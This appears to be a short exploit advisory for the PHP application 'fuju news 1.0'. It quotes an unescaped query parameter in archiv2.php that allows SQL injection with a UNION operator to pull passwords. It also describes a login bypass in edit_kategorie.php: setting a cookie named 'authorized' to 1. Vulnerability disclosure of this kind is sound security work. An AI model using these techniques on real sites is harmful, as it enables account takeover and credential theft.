  description: you can get the password with a simple sql injection.
       greets: honkey, str0ke <- good exploit publisher :),
			   all security guys and coders over the world
 terms of use: this exploit is just for educational purposes, do not use it for illegal acts.


---------------------------- archiv2.php - line 25 --------------------------------------
$result1 =@mysql_query("SELECT * FROM news_sql WHERE ID LIKE $ID");
-----------------------------------------------------------------------------------------

because this $ID isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.


title: fuju news 1.0 restriction bypass

------------------------- edit_kategorie.php - line 19 ----------------------------------
$authorized=$HTTP_COOKIE_VARS['authorized'];
-----------------------------------------------------------------------------------------

that's the mistake of the code. you only have to create a session cookie named 'authorized'
with the value 1, and you are logged in.
